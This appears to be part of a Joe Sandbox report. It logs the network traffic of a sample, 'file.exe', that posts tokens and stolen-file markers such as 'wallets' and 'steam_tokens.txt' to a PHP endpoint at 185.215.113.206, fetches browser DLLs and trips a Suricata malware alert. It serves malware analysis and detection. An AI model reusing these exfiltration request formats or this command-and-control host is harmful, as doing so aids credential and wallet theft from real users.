Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGCFBGCBFHJECBGDAKKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 66 63 35 34 33 39 64 36 32 65 61 64 36 63 32 37 66 64 65 61 63 38 31 66 37 61 35 64 66 33 32 62 34 30 36 34 39 65 66 35 66 38 39 65 39 34 38 35 32 35 34 36 63 61 34 31 37 33 31 36 63 61 65 34 37 35 31 66 63 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 2d 2d 0d 0a Data Ascii: ------EBGCFBGCBFHJECBGDAKKContent-Disposition: form-data; name="token"50afc5439d62ead6c27fdeac81f7a5df32b40649ef5f89e94852546ca417316cae4751fc------EBGCFBGCBFHJECBGDAKKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EBGCFBGCBFHJECBGDAKKContent-Disposition: form-data; name="file"------EBGCFBGCBFHJECBGDAKK--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFIIIJJKJKFHIDGDBAKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 66 63 35 34 33 39 64 36 32 65 61 64 36 63 32 37 66 64 65 61 63 38 31 66 37 61 35 64 66 33 32 62 34 30 36 34 39 65 66 35 66 38 39 65 39 34 38 35 32 35 34 36 63 61 34 31 37 33 31 36 63 61 65 34 37 35 31 66 63 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 2d 2d 0d 0a Data Ascii: ------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="token"50afc5439d62ead6c27fdeac81f7a5df32b40649ef5f89e94852546ca417316cae4751fc------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="file"------HCFIIIJJKJKFHIDGDBAK--
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAECFHJEBAAFIEBGHIIEHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBGHDGHCGHCAAKFIIECFHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 66 63 35 34 33 39 64 36 32 65 61 64 36 63 32 37 66 64 65 61 63 38 31 66 37 61 35 64 66 33 32 62 34 30 36 34 39 65 66 35 66 38 39 65 39 34 38 35 32 35 34 36 63 61 34 31 37 33 31 36 63 61 65 34 37 35 31 66 63 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 46 2d 2d 0d 0a Data Ascii: ------DBGHDGHCGHCAAKFIIECFContent-Disposition: form-data; name="token"50afc5439d62ead6c27fdeac81f7a5df32b40649ef5f89e94852546ca417316cae4751fc------DBGHDGHCGHCAAKFIIECFContent-Disposition: form-data; name="message"wallets------DBGHDGHCGHCAAKFIIECF--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEGHJKJKKJDHIDHJKJDBHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 66 63 35 34 33 39 64 36 32 65 61 64 36 63 32 37 66 64 65 61 63 38 31 66 37 61 35 64 66 33 32 62 34 30 36 34 39 65 66 35 66 38 39 65 39 34 38 35 32 35 34 36 63 61 34 31 37 33 31 36 63 61 65 34 37 35 31 66 63 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 2d 2d 0d 0a Data Ascii: ------AEGHJKJKKJDHIDHJKJDBContent-Disposition: form-data; name="token"50afc5439d62ead6c27fdeac81f7a5df32b40649ef5f89e94852546ca417316cae4751fc------AEGHJKJKKJDHIDHJKJDBContent-Disposition: form-data; name="message"files------AEGHJKJKKJDHIDHJKJDB--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIEGHJJDGHCAKEBGIJKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 66 63 35 34 33 39 64 36 32 65 61 64 36 63 32 37 66 64 65 61 63 38 31 66 37 61 35 64 66 33 32 62 34 30 36 34 39 65 66 35 66 38 39 65 39 34 38 35 32 35 34 36 63 61 34 31 37 33 31 36 63 61 65 34 37 35 31 66 63 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 2d 2d 0d 0a Data Ascii: ------HIIEGHJJDGHCAKEBGIJKContent-Disposition: form-data; name="token"50afc5439d62ead6c27fdeac81f7a5df32b40649ef5f89e94852546ca417316cae4751fc------HIIEGHJJDGHCAKEBGIJKContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HIIEGHJJDGHCAKEBGIJKContent-Disposition: form-data; name="file"------HIIEGHJJDGHCAKEBGIJK--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIIEGHDGDBFIDGHDAFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 66 63 35 34 33 39 64 36 32 65 61 64 36 63 32 37 66 64 65 61 63 38 31 66 37 61 35 64 66 33 32 62 34 30 36 34 39 65 66 35 66 38 39 65 39 34 38 35 32 35 34 36 63 61 34 31 37 33 31 36 63 61 65 34 37 35 31 66 63 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 2d 2d 0d 0a Data Ascii: ------HIIIIEGHDGDBFIDGHDAFContent-Disposition: form-data; name="token"50afc5439d62ead6c27fdeac81f7a5df32b40649ef5f89e94852546ca417316cae4751fc------HIIIIEGHDGDBFIDGHDAFContent-Disposition: form-data; name="message"ybncbhylepme------HIIIIEGHDGDBFIDGHDAF--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIDAECGDAFBAAAAAECGIHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 44 41 45 43 47 44 41 46 42 41 41 41 41 41 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 66 63 35 34 33 39 64 36 32 65 61 64 36 63 32 37 66 64 65 61 63 38 31 66 37 61 35 64 66 33 32 62 34 30 36 34 39 65 66 35 66 38 39 65 39 34 38 35 32 35 34 36 63 61 34 31 37 33 31 36 63 61 65 34 37 35 31 66 63 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 41 45 43 47 44 41 46 42 41 41 41 41 41 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 41 45 43 47 44 41 46 42 41 41 41 41 41 45 43 47 49 2d 2d 0d 0a Data Ascii: ------GIDAECGDAFBAAAAAECGIContent-Disposition: form-data; name="token"50afc5439d62ead6c27fdeac81f7a5df32b40649ef5f89e94852546ca417316cae4751fc------GIDAECGDAFBAAAAAECGIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GIDAECGDAFBAAAAAECGI--

Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49734 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49766 -> 185.215.113.206:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C64CC60 PR_Recv,

0_2_6C64CC60

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=3vgBxchoLdYxxGK&MD=v3rGdgTa HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=3vgBxchoLdYxxGK&MD=v3rGdgTa HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
